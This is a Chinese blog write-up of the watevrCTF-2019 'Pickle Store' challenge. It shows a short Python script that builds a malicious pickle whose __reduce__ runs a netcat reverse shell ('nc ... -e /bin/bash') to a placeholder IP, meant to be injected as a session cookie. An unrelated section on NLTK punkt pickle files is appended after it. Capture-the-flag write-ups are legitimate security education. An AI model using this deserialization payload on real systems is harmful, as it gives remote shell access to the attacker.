[watevrCTF-2019]Pickle Store

本文探讨了在Python中使用pickle模块进行反序列化的过程,以及如何利用潜在的安全漏洞来尝试反弹shell。作者指出,由于不明确的hmac加密过程,构造特定的数据包以购买flag变得困难。然而,他们展示了如何创建一个恶意的pickle对象,通过导入os模块并执行远程命令来触发shell。这是一个关于web安全和Python反序列化漏洞的实际应用案例。
部署运行你感兴趣的模型镜像

在这里插入图片描述

购买 flag,钱不够只有500,抓包感觉 session可能有东西
在这里插入图片描述
在这里插入图片描述

后面那串是 hmac加密的吗,先不管,题目叫做 pickle,就想到了Python的反序列化
在这里插入图片描述

确实是pickle 的序列化,下一步该怎么做,去构造 1000购买flag吗,我们不知道 hmac的加密过程,所以很难直接构造

了解到这里还可以直接反弹shell,试试

import base64
import pickle

class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc xxx.xxx.xxx.xxx 2333 -e /bin/bash')",))

a = A()
print(base64.b64encode(pickle.dumps(a)))

在这里插入图片描述

您可能感兴趣的与本文相关的镜像

Python3.8

Python3.8

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

### 关于 `punkt-1.0.pickle` 和 `punkt-finalized.pickle` 的差异与用途 在自然语言处理领域,NLTK 是一个非常流行的 Python 库,用于文本数据的预处理和分析。其中,`punkt` 是 NLTK 提供的一种无监督机器学习算法,主要用于句子分割(sentence tokenization)。它通过训练模型来识别英语中的句号、问号和其他标点符号作为句子边界。 #### 文件说明 `punkt-1.0.pickle` 和 `punkt-finalized.pickle` 都是 NLTK 中使用的序列化模型文件,它们存储了经过训练后的 Punkt 句子分割器的状态信息。以下是两者的具体区别: 1. **`punkt-1.0.pickle`** - 这是一个较旧版本的 Punkt 模型文件[^1]。 - 它可能基于早期的数据集或参数设置进行训练。 - 对某些特定语料库的效果可能会不如更新版本的理想。 2. **`punkt-finalized.pickle`** - 这是改进版的 Punkt 模型文件[^4]。 - 经过更广泛的测试和优化,适用于更多样化的现代文本环境。 - 推荐优先使用此文件以获得更好的性能表现。 #### 解决找不到 `.pickle` 文件的方法 当遇到 `'tokenizers/punkt/PY3/english.pickle' not found` 错误时,可以采取以下措施解决问题: - 使用命令 `nltk.download('punkt')` 自动下载所需资源[^2]。 - 如果自动下载失败,则手动获取最新版的 `nltk_data` 并按指定路径安装。 #### 示例代码展示如何加载这些资源 下面是一段简单的脚本,演示如何利用上述两个 `.pickle` 文件完成基本功能实现: ```python import nltk from nltk.tokenize import sent_tokenize # 下载必要资源 try: nltk.data.find('tokenizers/punkt') except LookupError: nltk.download('punkt') text = """Natural language processing (NLP) is a field of computer science, artificial intelligence, and linguistics concerned with the interactions between computers and human languages.""" sentences = sent_tokenize(text) print(sentences) ``` 该程序首先尝试定位本地是否存在已缓存的 `punkt` 数据;如果不存在,则触发在线下载流程。最终输出由输入字符串分解而成的一系列独立句子列表。 --- ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值